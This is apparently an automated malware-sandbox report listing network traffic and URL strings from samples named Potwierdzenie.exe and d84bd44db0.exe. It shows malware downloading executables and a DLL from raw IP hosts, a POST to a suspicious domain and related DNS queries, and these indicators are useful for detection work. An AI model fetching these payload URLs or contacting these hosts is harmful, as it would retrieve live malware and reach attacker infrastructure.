Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000005845415999 HTTP/1.1Host: clients1.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /files/Potwierdzenie.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /

Source: global traffic	DNS traffic detected: DNS query: api.myip.com
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: youtube.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: Potwierdzenie.exe, 00000008.00000000.2532136073.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000000.2547189071.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2891603483.00000000007D0000.00000008.00000001.01000000.00000009.sdmp	String found in binary or memory: http://.css
Source: Potwierdzenie.exe, 00000008.00000000.2532136073.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000000.2547189071.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2891603483.00000000007D0000.00000008.00000001.01000000.00000009.sdmp	String found in binary or memory: http://.jpg
Source: d84bd44db0.exe, 0000000D.00000003.2905951876.000000000158D000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: d84bd44db0.exe, 0000000D.00000003.2905951876.000000000158D000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe9J
Source: d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeR
Source: d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeGJ
Source: d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/w2
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2982563333.0000000008BE0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://bugs.php.net
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2982563333.0000000008BE0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://bugs.php.net/
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2982563333.0000000008BE0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://bugs.php.net//(
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F74A000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562915325.000000000F747000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563848778.000000000F6E8000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564472342.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563006207.000000000F6E8000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563848778.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563118202.000000000F6E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F6F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F74A000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562915325.000000000F747000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crlW
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F6F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F6F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2834729282.000000000F6F0000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564472342.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563006207.000000000F6E8000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563848778.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563118202.000000000F6E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Potwierdzenie.exe, 00000008.00000000.2532136073.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000000.2547189071.00000000007CF000.00000008.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2891603483.00000000007D0000.00000008.00000001.01000000.00000009.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000016.00000002.2665006448.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es/
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980763347.0000000008B00000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://php.net/xpath
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980763347.0000000008B00000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://php.net/xpathfunctionStringInvalid
Source: Potwierdzenie.exe, 0000000A.00000002.2981256733.0000000008B50000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://relaxng.org/ns/structure/1.0
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F6F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F6F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/V
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/o
Source: Potwierdzenie.exe, 0000000A.00000003.2865850953.0000000004A23000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2858242102.0000000004A1F000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856045875.0000000004A1E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2899152712.0000000004A23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.m
Source: Potwierdzenie.exe, 0000000A.00000002.2896614153.0000000004A0B000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2861358135.0000000004A0A000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2858396405.0000000004A05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microp
Source: powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000016.00000002.2661516093.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563208703.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564547792.000000000F71D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563208703.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564547792.000000000F71D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htmg
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563208703.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564547792.000000000F71D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2842685841.000000000F73E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2803939417.000000000F73E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2812126299.000000000F73E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2842685841.000000000F73E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2803939417.000000000F73E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2812126299.000000000F73E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/o
Source: Potwierdzenie.exe, Potwierdzenie.exe, 0000000A.00000000.2545800226.0000000000757000.00000080.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.exeoutput.com
Source: Potwierdzenie.exe, 00000008.00000000.2532388218.000000000082A000.00000002.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000000.2547282442.000000000082A000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.exeoutput.comDVarFileInfo$
Source: Potwierdzenie.exe, 0000000A.00000003.2562887268.000000000F762000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F759000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2847917995.000000000F6B1000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F759000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F759000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F759000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: powershell.exe, 00000016.00000002.2668339945.0000000007799000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2981522960.0000000008B70000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2981522960.0000000008B70000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd-//OASIS//DTD
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980499868.0000000008AE0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.php.net/
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2986740592.0000000008DD0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.php.net/D
Source: Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3002224108.0000000009880000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2987707445.0000000008F90000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2882058353.000000000041D000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.php.netD
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564472342.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563006207.000000000F6E8000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563848778.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563118202.000000000F6E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
